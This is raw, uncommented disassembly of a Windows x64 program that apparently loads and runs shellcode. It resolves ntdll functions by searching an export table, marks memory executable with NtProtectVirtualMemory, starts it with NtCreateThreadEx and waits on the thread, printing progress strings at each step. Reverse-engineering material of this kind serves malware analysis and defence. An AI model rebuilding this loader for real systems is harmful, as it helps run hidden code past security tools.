nop dword [rax + rax]
mov ecx, dword [rsi]
add rcx, rbx
lea rsi, [rsi + 4]
lea rdx, [rbp + 0x568]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x140002547
inc edi
cmp edi, dword [r14 + 0x14]
jb 0x140002490
mov rsi, qword [rbp - 0x28]
mov r15, qword [rsp + 0x68]
mov rax, qword [rbp - 0x30]
movdqa xmm0, xmmword [0x140006660]
movdqu xmmword [rbp + 0x580], xmm0
mov byte [rbp + 0x590], r12b
mov edi, r12d
cmp dword [r14 + 0x14], r12d
jbe 0x140002658
nop dword [rax + rax]
mov ecx, dword [rax]
add rcx, rbx
add rax, 4
mov qword [rbp - 0x30], rax
lea rdx, [rbp + 0x580]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x1400025d3
inc edi
cmp edi, dword [r14 + 0x14]
mov rax, qword [rbp - 0x30]
jb 0x1400024f0
jmp 0x140002658
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
movsxd rax, edi
mov r15, qword [rsp + 0x68]
movzx ecx, word [r15 + rax*2]
mov rsi, qword [rbp - 0x28]
mov edi, dword [rsi + rcx*4]
add rdi, rbx
je 0x1400024c0
lea rax, [0x1400086e8]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
lea r8, [0x140008038]
lea rdx, [0x1400086f0]
mov rcx, 0xffffffffffffffff
call rdi
test eax, eax
jns 0x1400025a5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_NtProtectVirtualMemory___u__n
jmp 0x14000162a
mov rdx, rdi
lea rcx, str._n___NtProtectVirtualMemory____p_n
call fcn.140001010
lea rcx, str.___NtProtectVirtualMemory_Executed_____n
call fcn.140001010
jmp 0x1400024c0
mov rsi, qword [rbp - 0x28]
mov r15, qword [rsp + 0x68]
jmp 0x1400024c4
movsxd rax, edi
movzx ecx, word [r15 + rax*2]
mov edi, dword [rsi + rcx*4]
add rdi, rbx
je 0x140002658
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], r12d
mov qword [rsp + 0x28], r12
mov rax, qword [0x1400086f0]
mov qword [rsp + 0x20], rax
mov r9, 0xffffffffffffffff
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [0x140008040]
call rdi
test eax, eax
jns 0x14000263d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_NtCreateThreadEx___u__n
jmp 0x14000162a
mov rdx, rdi
lea rcx, str._n___NtCreateThreadEx____p_n
call fcn.140001010
lea rcx, str.___NtCreateThreadEx_Executed_____n
call fcn.140001010
mov qword [rbp + 0x58], 0xfffffffffa0a1f00
lea r8, [rbp + 0x58]
xor edx, edx
mov rcx, qword [0x140008040]
call qword [sym.imp.ntdll.dll_NtWaitForSingleObject]
test eax, eax
jns 0x140002695
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_NtWaitForSingleobject___u__n
call fcn.140001010
mov eax, 4
jmp 0x140001634
lea rcx, str._n___NtWaitForSingleobject_Executed_____n
call fcn.140001010
lea rcx, str._n_n___Finished______n
call fcn.140001010
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
jmp 0x140001634
call fcn.140001210
int3
call fcn.140002970
int3
call fcn.140001170
int3